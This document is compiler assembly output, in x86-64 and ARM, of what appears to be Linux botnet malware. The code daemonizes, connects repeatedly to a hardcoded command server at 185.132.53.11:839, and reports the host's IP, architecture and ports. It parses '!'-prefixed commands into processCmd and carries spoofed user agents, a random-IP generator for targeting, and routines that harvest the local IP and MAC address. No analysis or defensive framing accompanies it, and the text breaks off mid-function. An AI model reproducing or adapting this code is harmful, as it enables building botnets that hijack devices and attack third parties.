	.cfi_def_cfa_register 6
	push	r12
	push	rbx
	sub	rsp, 4096
	or	QWORD PTR [rsp], 0
	sub	rsp, 192
	.cfi_offset 12, -24
	.cfi_offset 3, -32
	mov	DWORD PTR -4292[rbp], edi
	mov	QWORD PTR -4304[rbp], rsi
	mov	rax, QWORD PTR fs:40
	mov	QWORD PTR -24[rbp], rax
	xor	eax, eax
	mov	edi, 0
	mov	eax, 0
	call	time@PLT
	mov	ebx, eax
	call	getpid@PLT
	xor	eax, ebx
	mov	edi, eax
	call	srand@PLT
	mov	edi, 0
	mov	eax, 0
	call	time@PLT
	mov	ebx, eax
	call	getpid@PLT
	xor	eax, ebx
	mov	edi, eax
	call	init_rand
	mov	eax, 0
	call	getOurIP
	call	fork@PLT
	mov	DWORD PTR -4268[rbp], eax
	cmp	DWORD PTR -4268[rbp], 0
	je	.L593
	lea	rcx, -4288[rbp]
	mov	eax, DWORD PTR -4268[rbp]
	mov	edx, 0
	mov	rsi, rcx
	mov	edi, eax
	call	waitpid@PLT
	mov	edi, 0
	call	exit@PLT
.L593:
	cmp	DWORD PTR -4268[rbp], 0
	jne	.L594
	call	fork@PLT
	mov	DWORD PTR -4264[rbp], eax
	cmp	DWORD PTR -4264[rbp], 0
	je	.L594
	mov	edi, 0
	call	exit@PLT
.L594:
	call	setsid@PLT
	lea	rdi, .LC238[rip]
	call	chdir@PLT
	mov	esi, 1
	mov	edi, 13
	call	signal@PLT
.L623:
	mov	eax, 0
	call	initConnection
	test	eax, eax
	je	.L595
	mov	edi, 5
	call	sleep@PLT
	jmp	.L623
.L595:
	mov	eax, 0
	call	getArch
	mov	r12, rax
	mov	eax, 0
	call	getPortz
	mov	rbx, rax
	mov	eax, DWORD PTR ourIP[rip]
	mov	edi, eax
	call	inet_ntoa@PLT
	mov	rdx, rax
	mov	eax, DWORD PTR mainCommSock[rip]
	mov	r8, r12
	mov	rcx, rbx
	lea	rsi, .LC313[rip]
	mov	edi, eax
	mov	eax, 0
	call	sockprintf
	mov	DWORD PTR -4260[rbp], 0
	mov	DWORD PTR -4284[rbp], 0
	jmp	.L597
.L622:
	mov	DWORD PTR -4284[rbp], 0
	jmp	.L598
.L604:
	mov	rdx, QWORD PTR pids[rip]
	mov	eax, DWORD PTR -4284[rbp]
	cdqe
	sal	rax, 2
	add	rax, rdx
	mov	eax, DWORD PTR [rax]
	mov	edx, 1
	mov	esi, 0
	mov	edi, eax
	call	waitpid@PLT
	test	eax, eax
	jle	.L599
	mov	eax, DWORD PTR -4284[rbp]
	add	eax, 1
	mov	DWORD PTR -4280[rbp], eax
	jmp	.L600
.L601:
	mov	rdx, QWORD PTR pids[rip]
	mov	eax, DWORD PTR -4280[rbp]
	sal	rax, 2
	add	rax, rdx
	mov	rcx, QWORD PTR pids[rip]
	mov	edx, DWORD PTR -4280[rbp]
	sub	edx, 1
	mov	edx, edx
	sal	rdx, 2
	add	rdx, rcx
	mov	eax, DWORD PTR [rax]
	mov	DWORD PTR [rdx], eax
	add	DWORD PTR -4280[rbp], 1
.L600:
	mov	edx, DWORD PTR -4280[rbp]
	mov	rax, QWORD PTR numpids[rip]
	cmp	rdx, rax
	jb	.L601
	mov	rdx, QWORD PTR pids[rip]
	mov	eax, DWORD PTR -4280[rbp]
	sub	eax, 1
	mov	eax, eax
	sal	rax, 2
	add	rax, rdx
	mov	DWORD PTR [rax], 0
	mov	rax, QWORD PTR numpids[rip]
	sub	rax, 1
	mov	QWORD PTR numpids[rip], rax
	mov	rax, QWORD PTR numpids[rip]
	add	rax, 1
	sal	rax, 2
	mov	rdi, rax
	call	malloc@PLT
	mov	QWORD PTR -4216[rbp], rax
	mov	DWORD PTR -4280[rbp], 0
	jmp	.L602
.L603:
	mov	rdx, QWORD PTR pids[rip]
	mov	eax, DWORD PTR -4280[rbp]
	sal	rax, 2
	add	rax, rdx
	mov	edx, DWORD PTR -4280[rbp]
	lea	rcx, 0[0+rdx*4]
	mov	rdx, QWORD PTR -4216[rbp]
	add	rdx, rcx
	mov	eax, DWORD PTR [rax]
	mov	DWORD PTR [rdx], eax
	add	DWORD PTR -4280[rbp], 1
.L602:
	mov	edx, DWORD PTR -4280[rbp]
	mov	rax, QWORD PTR numpids[rip]
	cmp	rdx, rax
	jb	.L603
	mov	rax, QWORD PTR pids[rip]
	mov	rdi, rax
	call	free@PLT
	mov	rax, QWORD PTR -4216[rbp]
	mov	QWORD PTR pids[rip], rax
.L599:
	add	DWORD PTR -4284[rbp], 1
.L598:
	mov	eax, DWORD PTR -4284[rbp]
	movsx	rdx, eax
	mov	rax, QWORD PTR numpids[rip]
	cmp	rdx, rax
	jb	.L604
	mov	eax, DWORD PTR -4260[rbp]
	cdqe
	mov	BYTE PTR -4128[rbp+rax], 0
	lea	rax, -4128[rbp]
	mov	rdi, rax
	call	trim
	lea	rax, -4128[rbp]
	mov	QWORD PTR -4256[rbp], rax
	mov	rax, QWORD PTR -4256[rbp]
	movzx	eax, BYTE PTR [rax]
	cmp	al, 33
	jne	.L597
	mov	rax, QWORD PTR -4256[rbp]
	add	rax, 1
	mov	QWORD PTR -4248[rbp], rax
	jmp	.L605
.L607:
	add	QWORD PTR -4248[rbp], 1
.L605:
	mov	rax, QWORD PTR -4248[rbp]
	movzx	eax, BYTE PTR [rax]
	cmp	al, 32
	je	.L606
	mov	rax, QWORD PTR -4248[rbp]
	movzx	eax, BYTE PTR [rax]
	test	al, al
	jne	.L607
.L606:
	mov	rax, QWORD PTR -4248[rbp]
	movzx	eax, BYTE PTR [rax]
	test	al, al
	jne	.L608
	jmp	.L597
.L608:
	mov	rax, QWORD PTR -4248[rbp]
	mov	BYTE PTR [rax], 0
	mov	rax, QWORD PTR -4256[rbp]
	add	rax, 1
	mov	QWORD PTR -4248[rbp], rax
	mov	rax, QWORD PTR -4248[rbp]
	mov	rdi, rax
	call	strlen@PLT
	add	rax, 2
	add	QWORD PTR -4256[rbp], rax
	jmp	.L609
.L610:
	mov	rax, QWORD PTR -4256[rbp]
	mov	rdi, rax
	call	strlen@PLT
	lea	rdx, -1[rax]
	mov	rax, QWORD PTR -4256[rbp]
	add	rax, rdx
	mov	BYTE PTR [rax], 0
.L609:
	mov	rax, QWORD PTR -4256[rbp]
	mov	rdi, rax
	call	strlen@PLT
	lea	rdx, -1[rax]
	mov	rax, QWORD PTR -4256[rbp]
	add	rax, rdx
	movzx	eax, BYTE PTR [rax]
	cmp	al, 10
	je	.L610
	mov	rax, QWORD PTR -4256[rbp]
	mov	rdi, rax
	call	strlen@PLT
	lea	rdx, -1[rax]
	mov	rax, QWORD PTR -4256[rbp]
	add	rax, rdx
	movzx	eax, BYTE PTR [rax]
	cmp	al, 13
	je	.L610
	mov	rax, QWORD PTR -4256[rbp]
	mov	QWORD PTR -4224[rbp], rax
	jmp	.L611
.L613:
	add	QWORD PTR -4256[rbp], 1
.L611:
	mov	rax, QWORD PTR -4256[rbp]
	movzx	eax, BYTE PTR [rax]
	cmp	al, 32
	je	.L612
	mov	rax, QWORD PTR -4256[rbp]
	movzx	eax, BYTE PTR [rax]
	test	al, al
	jne	.L613
.L612:
	mov	rax, QWORD PTR -4256[rbp]
	mov	BYTE PTR [rax], 0
	add	QWORD PTR -4256[rbp], 1
	mov	rax, QWORD PTR -4224[rbp]
	mov	QWORD PTR -4240[rbp], rax
	jmp	.L614
.L615:
	mov	rax, QWORD PTR -4240[rbp]
	movzx	eax, BYTE PTR [rax]
	movzx	eax, al
	mov	edi, eax
	call	toupper@PLT
	mov	edx, eax
	mov	rax, QWORD PTR -4240[rbp]
	mov	BYTE PTR [rax], dl
	add	QWORD PTR -4240[rbp], 1
.L614:
	mov	rax, QWORD PTR -4240[rbp]
	movzx	eax, BYTE PTR [rax]
	test	al, al
	jne	.L615
	mov	DWORD PTR -4276[rbp], 1
	mov	rax, QWORD PTR -4256[rbp]
	lea	rsi, .LC252[rip]
	mov	rdi, rax
	call	strtok@PLT
	mov	QWORD PTR -4232[rbp], rax
	mov	rax, QWORD PTR -4224[rbp]
	mov	QWORD PTR -4208[rbp], rax
	jmp	.L616
.L618:
	mov	rax, QWORD PTR -4232[rbp]
	movzx	eax, BYTE PTR [rax]
	cmp	al, 10
	je	.L617
	mov	rax, QWORD PTR -4232[rbp]
	mov	rdi, rax
	call	strlen@PLT
	add	rax, 1
	mov	rdi, rax
	call	malloc@PLT
	mov	rdx, rax
	mov	eax, DWORD PTR -4276[rbp]
	cdqe
	mov	QWORD PTR -4208[rbp+rax*8], rdx
	mov	rax, QWORD PTR -4232[rbp]
	mov	rdi, rax
	call	strlen@PLT
	lea	rdx, 1[rax]
	mov	eax, DWORD PTR -4276[rbp]
	cdqe
	mov	rax, QWORD PTR -4208[rbp+rax*8]
	mov	esi, 0
	mov	rdi, rax
	call	memset@PLT
	mov	eax, DWORD PTR -4276[rbp]
	cdqe
	mov	rax, QWORD PTR -4208[rbp+rax*8]
	mov	rdx, QWORD PTR -4232[rbp]
	mov	rsi, rdx
	mov	rdi, rax
	call	strcpy@PLT
	add	DWORD PTR -4276[rbp], 1
.L617:
	lea	rsi, .LC252[rip]
	mov	edi, 0
	call	strtok@PLT
	mov	QWORD PTR -4232[rbp], rax
.L616:
	cmp	QWORD PTR -4232[rbp], 0
	jne	.L618
	lea	rdx, -4208[rbp]
	mov	eax, DWORD PTR -4276[rbp]
	mov	rsi, rdx
	mov	edi, eax
	call	processCmd
	cmp	DWORD PTR -4276[rbp], 1
	jle	.L597
	mov	DWORD PTR -4272[rbp], 1
	mov	DWORD PTR -4272[rbp], 1
	jmp	.L620
.L621:
	mov	eax, DWORD PTR -4272[rbp]
	cdqe
	mov	rax, QWORD PTR -4208[rbp+rax*8]
	mov	rdi, rax
	call	free@PLT
	add	DWORD PTR -4272[rbp], 1
.L620:
	mov	eax, DWORD PTR -4272[rbp]
	cmp	eax, DWORD PTR -4276[rbp]
	jl	.L621
.L597:
	mov	eax, DWORD PTR mainCommSock[rip]
	lea	rcx, -4128[rbp]
	mov	edx, 4096
	mov	rsi, rcx
	mov	edi, eax
	call	recvLine
	mov	DWORD PTR -4260[rbp], eax
	cmp	DWORD PTR -4260[rbp], -1
	jne	.L622
	jmp	.L623
	.cfi_endproc
.LFE40:
	.size	main, .-main
	.data
	.align 4
	.type	i.0, @object
	.size	i.0, 4
i.0:
	.long	4095
	.ident	"GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
	.section	.note.GNU-stack,"",@progbits
	.section	.note.gnu.property,"a"
	.align 8
	.long	 1f - 0f
	.long	 4f - 1f
	.long	 5
0:
	.string	 "GNU"
1:
	.align 8
	.long	 0xc0000002
	.long	 3f - 2f
2:
	.long	 0x3
3:
	.align 8
4:

	.arch armv5t
	.eabi_attribute 20, 1
	.eabi_attribute 21, 1
	.eabi_attribute 23, 3
	.eabi_attribute 24, 1
	.eabi_attribute 25, 1
	.eabi_attribute 26, 2
	.eabi_attribute 30, 6
	.eabi_attribute 34, 0
	.eabi_attribute 18, 4
	.file	"22164.c"
	.section	.rodata
	.align	2
.LC0:
	.ascii	"X\231!X\231!X\231!X\231!X\231!X\231!X\231!X\231!X\231"
	.ascii	"!X\231!X\231!X\231!X\231!X\231!X\231!X\231!X\000"
	.align	2
.LC1:
	.ascii	"/x8r/x58/x99/x21/x8r/x58/x99/x21/x8r/x58/x99/x21/x8"
	.ascii	"r/x58/x99/x21/x8r/x58/x99/x21/x8r/x58/x99/x21/x8r/x"
	.ascii	"58/x99/x21/x8r/x58/x99/x21/x8r/x58/x99/x21/x8r/x58/"
	.ascii	"x99/x21/x8r/x58/x99/x21/x8r/x58/x99/x21/x8r/x58/x99"
	.ascii	"/x21/x8r/x58/x99/x21/x8r/x58/x99/x21/x8r/x58/x99/x2"
	.ascii	"1/x8r/x58\000"
	.text
	.global	commServer
	.section	.rodata
	.align	2
.LC3:
	.ascii	"185.132.53.11:839\000"
	.data
	.align	2
	.type	commServer, %object
	.size	commServer, 4
commServer:
	.word	.LC3
	.global	useragents
	.section	.rodata
	.align	2
.LC4:
	.ascii	"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebK"
	.ascii	"it/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 "
	.ascii	"Safari/537.36\000"
	.align	2
.LC5:
	.ascii	"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKi"
	.ascii	"t/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Sa"
	.ascii	"fari/537.36\000"
	.align	2
.LC6:
	.ascii	"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 "
	.ascii	"(KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537"
	.ascii	".36\000"
	.align	2
.LC7:
	.ascii	"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KH"
	.ascii	"TML, like Gecko) Chrome/46.0.2490.71 Safari/537.36\000"
	.align	2
.LC8:
	.ascii	"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebK"
	.ascii	"it/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 "
	.ascii	"Safari/537.36\000"
	.align	2
.LC9:
	.ascii	"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebK"
	.ascii	"it/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 "
	.ascii	"Safari/537.36\000"
	.align	2
.LC10:
	.ascii	"Mozilla/5.0 (Windows NT 5.1; Win64; x64) AppleWebKi"
	.ascii	"t/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Sa"
	.ascii	"fari/537.36\000"
	.data
	.align	2
	.type	useragents, %object
	.size	useragents, 28
useragents:
	.word	.LC4
	.word	.LC5
	.word	.LC6
	.word	.LC7
	.word	.LC8
	.word	.LC9
	.word	.LC10
	.global	mainCommSock
	.bss
	.align	2
	.type	mainCommSock, %object
	.size	mainCommSock, 4
mainCommSock:
	.space	4
	.global	currentServer
	.data
	.align	2
	.type	currentServer, %object
	.size	currentServer, 4
currentServer:
	.word	-1
	.global	gotIP
	.bss
	.align	2
	.type	gotIP, %object
	.size	gotIP, 4
gotIP:
	.space	4
	.comm	pids,4,4
	.global	numpids
	.align	3
	.type	numpids, %object
	.size	numpids, 8
numpids:
	.space	8
	.comm	ourIP,4,4
	.local	Q
	.comm	Q,16384,4
	.data
	.align	2
	.type	c, %object
	.size	c, 4
c:
	.word	362436
	.global	macAddress
	.bss
	.align	2
	.type	macAddress, %object
	.size	macAddress, 6
macAddress:
	.space	6
	.text
	.align	2
	.global	init_rand
	.syntax unified
	.arm
	.fpu softvfp
	.type	init_rand, %function
init_rand:
	@ args = 0, pretend = 0, frame = 16
	@ frame_needed = 1, uses_anonymous_args = 0
	@ link register save eliminated.
	str	fp, [sp, #-4]!
	add	fp, sp, #0
	sub	sp, sp, #20
	str	r0, [fp, #-16]
	ldr	r2, .L4
	ldr	r3, [fp, #-16]
	str	r3, [r2]
	ldr	r2, [fp, #-16]
	ldr	r3, .L4+4
	add	r3, r2, r3
	ldr	r2, .L4
	str	r3, [r2, #4]
	ldr	r2, [fp, #-16]
	ldr	r3, .L4+8
	add	r3, r2, r3
	ldr	r2, .L4
	str	r3, [r2, #8]
	mov	r3, #3
	str	r3, [fp, #-8]
	b	.L2
.L3:
	ldr	r3, [fp, #-8]
	sub	r3, r3, #3
	ldr	r2, .L4
	ldr	r2, [r2, r3, lsl #2]
	ldr	r3, [fp, #-8]
	sub	r3, r3, #2
	ldr	r1, .L4
	ldr	r3, [r1, r3, lsl #2]
	eor	r2, r2, r3
	ldr	r3, [fp, #-8]
	eor	r2, r2, r3
	ldr	r3, .L4+4
	eor	r3, r3, r2
	ldr	r1, .L4
	ldr	r2, [fp, #-8]
	str	r3, [r1, r2, lsl #2]
	ldr	r3, [fp, #-8]
	add	r3, r3, #1
	str	r3, [fp, #-8]
.L2:
	ldr	r3, [fp, #-8]
	cmp	r3, #4096
	blt	.L3
	nop
	nop
	add	sp, fp, #0
	@ sp needed
	ldr	fp, [sp], #4
	bx	lr
.L5:
	.align	2
.L4:
	.word	Q
	.word	-1640531527
	.word	1013904242
	.size	init_rand, .-init_rand
	.align	2
	.global	rand_cmwc
	.syntax unified
	.arm
	.fpu softvfp
	.type	rand_cmwc, %function
rand_cmwc:
	@ args = 0, pretend = 0, frame = 24
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{r4, r5, fp, lr}
	add	fp, sp, #12
	sub	sp, sp, #24
	ldr	r2, .L9
	mov	r3, #0
	str	r2, [fp, #-28]
	str	r3, [fp, #-24]
	mvn	r3, #1
	str	r3, [fp, #-32]
	ldr	r3, .L9+4
	ldr	r3, [r3]
	add	r3, r3, #1
	lsl	r3, r3, #20
	lsr	r3, r3, #20
	ldr	r2, .L9+4
	str	r3, [r2]
	ldr	r3, .L9+4
	ldr	r3, [r3]
	ldr	r2, .L9+8
	ldr	r3, [r2, r3, lsl #2]
	mov	r0, r3
	mov	r1, #0
	ldr	r3, [fp, #-28]
	mul	r2, r1, r3
	ldr	r3, [fp, #-24]
	mul	r3, r0, r3
	add	ip, r2, r3
	ldr	lr, [fp, #-28]
	umull	r2, r3, lr, r0
	add	r1, ip, r3
	mov	r3, r1
	ldr	r1, .L9+12
	ldr	r1, [r1]
	mov	r0, r1
	mov	r1, #0
	adds	r4, r2, r0
	adc	r5, r3, r1
	str	r4, [fp, #-20]
	str	r5, [fp, #-16]
	sub	r1, fp, #20
	ldmia	r1, {r0-r1}
	mov	r2, #0
	mov	r3, #0
	mov	r2, r1
	mov	r3, #0
	ldr	r3, .L9+12
	str	r2, [r3]
	ldr	r2, [fp, #-20]
	ldr	r3, .L9+12
	ldr	r3, [r3]
	add	r3, r2, r3
	str	r3, [fp, #-36]
	ldr	r3, .L9+12
	ldr	r3, [r3]
	ldr	r2, [fp, #-36]
	cmp	r2, r3
	bcs	.L7
	ldr	r3, [fp, #-36]
	add	r3, r3, #1
	str	r3, [fp, #-36]
	ldr	r3, .L9+12
	ldr	r3, [r3]
	add	r3, r3, #1
	ldr	r2, .L9+12
	str	r3, [r2]
.L7:
	ldr	r3, .L9+4
	ldr	r3, [r3]
	ldr	r1, [fp, #-32]
	ldr	r2, [fp, #-36]
	sub	r2, r1, r2
	ldr	r1, .L9+8
	str	r2, [r1, r3, lsl #2]
	ldr	r2, .L9+8
	ldr	r3, [r2, r3, lsl #2]
	mov	r0, r3
	sub	sp, fp, #12
	@ sp needed
	pop	{r4, r5, fp, pc}
.L10:
	.align	2
.L9:
	.word	18782
	.word	i.7311
	.word	Q
	.word	c
	.size	rand_cmwc, .-rand_cmwc
	.align	2
	.global	getRandomIP
	.syntax unified
	.arm
	.fpu softvfp
	.type	getRandomIP, %function
getRandomIP:
	@ args = 0, pretend = 0, frame = 16
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #16
	str	r0, [fp, #-16]
	ldr	r3, .L13
	ldr	r3, [r3]
	mov	r0, r3
	bl	ntohl
	mov	r2, r0
	ldr	r3, [fp, #-16]
	and	r3, r3, r2
	str	r3, [fp, #-8]
	bl	rand_cmwc
	mov	r2, r0
	ldr	r3, [fp, #-16]
	mvn	r3, r3
	and	r2, r2, r3
	ldr	r3, [fp, #-8]
	eor	r3, r3, r2
	mov	r0, r3
	sub	sp, fp, #4
	@ sp needed
	pop	{fp, pc}
.L14:
	.align	2
.L13:
	.word	ourIP
	.size	getRandomIP, .-getRandomIP
	.align	2
	.global	fdgets
	.syntax unified
	.arm
	.fpu softvfp
	.type	fdgets, %function
fdgets:
	@ args = 0, pretend = 0, frame = 24
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #24
	str	r0, [fp, #-16]
	str	r1, [fp, #-20]
	str	r2, [fp, #-24]
	mov	r3, #1
	str	r3, [fp, #-12]
	mov	r3, #0
	str	r3, [fp, #-8]
	b	.L16
.L18:
	ldr	r3, [fp, #-8]
	ldr	r2, [fp, #-16]
	add	r3, r2, r3
	mov	r2, #1
	mov	r1, r3
	ldr	r0, [fp, #-24]
	bl	read
	str	r0, [fp, #-12]
	ldr	r3, [fp, #-8]
	add	r3, r3, #1
	str	r3, [fp, #-8]
.L16:
	ldr	r3, [fp, #-12]
	cmp	r3, #1
	bne	.L17
	ldr	r2, [fp, #-8]
	ldr	r3, [fp, #-20]
	cmp	r2, r3
	bge	.L17
	ldr	r3, [fp, #-8]
	sub	r3, r3, #1
	ldr	r2, [fp, #-16]
	add	r3, r2, r3
	ldrb	r3, [r3]	@ zero_extendqisi2
	cmp	r3, #10
	bne	.L18
.L17:
	ldr	r3, [fp, #-12]
	cmp	r3, #0
	beq	.L19
	ldr	r3, [fp, #-16]
	b	.L21
.L19:
	mov	r3, #0
.L21:
	mov	r0, r3
	sub	sp, fp, #4
	@ sp needed
	pop	{fp, pc}
	.size	fdgets, .-fdgets
	.section	.rodata
	.align	2
.LC11:
	.ascii	"8.8.8.8\000"
	.align	2
.LC12:
	.ascii	"/proc/net/route\000"
	.align	2
.LC13:
	.ascii	"\01100000000\011\000"
	.align	2
.LC14:
	.word	__stack_chk_guard
	.text
	.align	2
	.global	getOurIP
	.syntax unified
	.arm
	.fpu softvfp
	.type	getOurIP, %function
getOurIP:
	@ args = 0, pretend = 0, frame = 4192
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{r4, fp, lr}
	add	fp, sp, #8
	sub	sp, sp, #4160
	sub	sp, sp, #36
	ldr	r3, .L38
	ldr	r3, [r3]
	str	r3, [fp, #-16]
	mov	r3,#0
	sub	r3, fp, #4096
	sub	r3, r3, #12
	mov	r4, r3
	mov	r2, #0
	mov	r1, #2
	mov	r0, #2
	bl	socket
	str	r0, [r4, #-80]
	sub	r3, fp, #4096
	sub	r3, r3, #12
	ldr	r3, [r3, #-80]
	cmn	r3, #1
	bne	.L23
	mov	r3, #0
	b	.L22
.L23:
	sub	r3, fp, #4160
	sub	r3, r3, #12
	sub	r3, r3, #4
	mov	r2, #16
	mov	r1, #0
	mov	r0, r3
	bl	memset
	sub	r3, fp, #4096
	sub	r3, r3, #12
	mov	r2, #2
	strh	r2, [r3, #-68]	@ movhi
	ldr	r0, .L38+4
	bl	inet_addr
	mov	r3, r0
	sub	r2, fp, #4096
	sub	r2, r2, #12
	str	r3, [r2, #-64]
	mov	r0, #53
	bl	htons
	mov	r3, r0
	mov	r2, r3
	sub	r3, fp, #4096
	sub	r3, r3, #12
	strh	r2, [r3, #-66]	@ movhi
	sub	r3, fp, #4096
	sub	r3, r3, #12
	mov	r4, r3
	sub	r3, fp, #4160
	sub	r3, r3, #12
	sub	r3, r3, #4
	sub	r2, fp, #4096
	sub	r2, r2, #12
	mov	r0, r2
	mov	r2, #16
	mov	r1, r3
	ldr	r0, [r0, #-80]
	bl	connect
	str	r0, [r4, #-76]
	sub	r3, fp, #4096
	sub	r3, r3, #12
	ldr	r3, [r3, #-76]
	cmn	r3, #1
	bne	.L25
	mov	r3, #0
	b	.L22
.L25:
	sub	r3, fp, #4096
	sub	r3, r3, #12
	mov	r2, r3
	mov	r3, #16
	str	r3, [r2, #-92]
	sub	r3, fp, #4096
	sub	r3, r3, #12
	mov	r4, r3
	sub	r2, fp, #4160
	sub	r2, r2, #12
	sub	r2, r2, #28
	sub	r3, fp, #4096
	sub	r3, r3, #12
	sub	r3, r3, #52
	sub	r1, fp, #4096
	sub	r1, r1, #12
	mov	r0, r1
	mov	r1, r3
	ldr	r0, [r0, #-80]
	bl	getsockname
	str	r0, [r4, #-76]
	sub	r3, fp, #4096
	sub	r3, r3, #12
	ldr	r3, [r3, #-76]
	cmn	r3, #1
	bne	.L26
	mov	r3, #0
	b	.L22
.L26:
	sub	r3, fp, #4096
	sub	r3, r3, #12
	ldr	r3, [r3, #-48]
	ldr	r2, .L38+8
	str	r3, [r2]
	sub	r3, fp, #4096
	sub	r3, r3, #12
	mov	r4, r3
	mov	r1, #0
	ldr	r0, .L38+12
	bl	open
	str	r0, [r4, #-72]
	b	.L27
.L32:
	sub	r3, fp, #4096
	sub	r3, r3, #12
	sub	r3, r3, #4
	ldr	r1, .L38+16
	mov	r0, r3
	bl	strstr
	mov	r3, r0
	cmp	r3, #0
	beq	.L28
	sub	r3, fp, #4096
	sub	r3, r3, #12
	mov	r2, r3
	sub	r3, fp, #4096
	sub	r3, r3, #12
	sub	r3, r3, #4
	str	r3, [r2, #-88]
	b	.L29
.L30:
	sub	r3, fp, #4096
	sub	r3, r3, #12
	mov	r2, r3
	sub	r3, fp, #4096
	sub	r3, r3, #12
	ldr	r3, [r3, #-88]
	add	r3, r3, #1
	str	r3, [r2, #-88]
.L29:
	sub	r3, fp, #4096
	sub	r3, r3, #12
	ldr	r3, [r3, #-88]
	ldrb	r3, [r3]	@ zero_extendqisi2
	cmp	r3, #9
	bne	.L30
	sub	r3, fp, #4096
	sub	r3, r3, #12
	ldr	r3, [r3, #-88]
	mov	r2, #0
	strb	r2, [r3]
	b	.L31
.L28:
	sub	r3, fp, #4096
	sub	r3, r3, #12
	sub	r3, r3, #4
	mov	r2, #4096
	mov	r1, #0
	mov	r0, r3
	bl	memset
.L27:
	sub	r3, fp, #4096
	sub	r3, r3, #12
	mov	r2, r3
	sub	r3, fp, #4096
	sub	r3, r3, #12
	sub	r3, r3, #4
	ldr	r2, [r2, #-72]
	mov	r1, #4096
	mov	r0, r3
	bl	fdgets
	mov	r3, r0
	cmp	r3, #0
	bne	.L32
.L31:
	sub	r3, fp, #4096
	sub	r3, r3, #12
	ldr	r0, [r3, #-72]
	bl	close
	sub	r3, fp, #4096
	sub	r3, r3, #12
	ldrb	r3, [r3, #-4]	@ zero_extendqisi2
	cmp	r3, #0
	beq	.L33
	sub	r2, fp, #4096
	sub	r2, r2, #12
	sub	r2, r2, #4
	sub	r3, fp, #4096
	sub	r3, r3, #12
	sub	r3, r3, #36
	mov	r1, r2
	mov	r0, r3
	bl	strcpy
	sub	r3, fp, #4096
	sub	r3, r3, #12
	sub	r3, r3, #36
	sub	r2, fp, #4096
	sub	r2, r2, #12
	mov	r0, r2
	mov	r2, r3
	ldr	r1, .L38+20
	ldr	r0, [r0, #-80]
	bl	ioctl
	sub	r3, fp, #4096
	sub	r3, r3, #12
	mov	r2, r3
	mov	r3, #0
	str	r3, [r2, #-84]
	b	.L34
.L35:
	sub	r3, fp, #4096
	sub	r3, r3, #12
	ldr	r2, [r3, #-84]
	sub	r3, fp, #4096
	sub	r3, r3, #12
	sub	r3, r3, #36
	add	r3, r3, #18
	add	r3, r3, r2
	ldrb	r1, [r3]	@ zero_extendqisi2
	ldr	r2, .L38+24
	sub	r3, fp, #4096
	sub	r3, r3, #12
	ldr	r3, [r3, #-84]
	add	r3, r2, r3
	mov	r2, r1
	strb	r2, [r3]
	sub	r3, fp, #4096
	sub	r3, r3, #12
	mov	r2, r3
	sub	r3, fp, #4096
	sub	r3, r3, #12
	ldr	r3, [r3, #-84]
	add	r3, r3, #1
	str	r3, [r2, #-84]
.L34:
	sub	r3, fp, #4096
	sub	r3, r3, #12
	ldr	r3, [r3, #-84]
	cmp	r3, #5
	ble	.L35
.L33:
	sub	r3, fp, #4096
	sub	r3, r3, #12
	ldr	r0, [r3, #-80]
	bl	close
.L22:
	ldr	r2, .L38
	ldr	r1, [r2]
	ldr	r2, [fp, #-16]
	eors	r1, r2, r1
	mov	r2, #0
	beq	.L37
	bl	__stack_chk_fail
.L37:
	mov	r0, r3
	sub	sp, fp, #8
	@ sp needed
	pop	{r4, fp, pc}
.L39:
	.align	2
.L38:
	.word	.LC14
	.word	.LC11
	.word	ourIP
	.word	.LC12
	.word	.LC13
	.word	35111
	.word	macAddress
	.size	getOurIP, .-getOurIP
	.align	2
	.global	trim
	.syntax unified
	.arm
	.fpu softvfp
	.type	trim, %function
trim:
	@ args = 0, pretend = 0, frame = 24
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #24
	str	r0, [fp, #-24]
	mov	r3, #0
	str	r3, [fp, #-12]
	ldr	r0, [fp, #-24]
	bl	strlen
	mov	r3, r0
	sub	r3, r3, #1
	str	r3, [fp, #-8]
	b	.L41
.L42:
	ldr	r3, [fp, #-12]
	add	r3, r3, #1
	str	r3, [fp, #-12]
.L41:
	ldr	r3, [fp, #-12]
	ldr	r2, [fp, #-24]
	add	r3, r2, r3
	ldrb	r3, [r3]	@ zero_extendqisi2
	mov	r0, r3
	bl	isspace
	mov	r3, r0
	cmp	r3, #0
	bne	.L42
	b	.L43
.L45:
	ldr	r3, [fp, #-8]
	sub	r3, r3, #1
	str	r3, [fp, #-8]
.L43:
	ldr	r2, [fp, #-8]
	ldr	r3, [fp, #-12]
	cmp	r2, r3
	blt	.L44
	ldr	r3, [fp, #-8]
	ldr	r2, [fp, #-24]
	add	r3, r2, r3
	ldrb	r3, [r3]	@ zero_extendqisi2
	mov	r0, r3
	bl	isspace
	mov	r3, r0
	cmp	r3, #0
	bne	.L45
.L44:
	ldr	r3, [fp, #-12]
	str	r3, [fp, #-16]
	b	.L46
.L47:
	ldr	r3, [fp, #-16]
	ldr	r2, [fp, #-24]
	add	r2, r2, r3
	ldr	r1, [fp, #-16]
	ldr	r3, [fp, #-12]
	sub	r3, r1, r3
	mov	r1, r3
	ldr	r3, [fp, #-24]
	add	r3, r3, r1
	ldrb	r2, [r2]	@ zero_extendqisi2
	strb	r2, [r3]
	ldr	r3, [fp, #-16]
	add	r3, r3, #1
	str	r3, [fp, #-16]
.L46:
	ldr	r2, [fp, #-16]
	ldr	r3, [fp, #-8]
	cmp	r2, r3
	ble	.L47
	ldr	r2, [fp, #-16]
	ldr	r3, [fp, #-12]
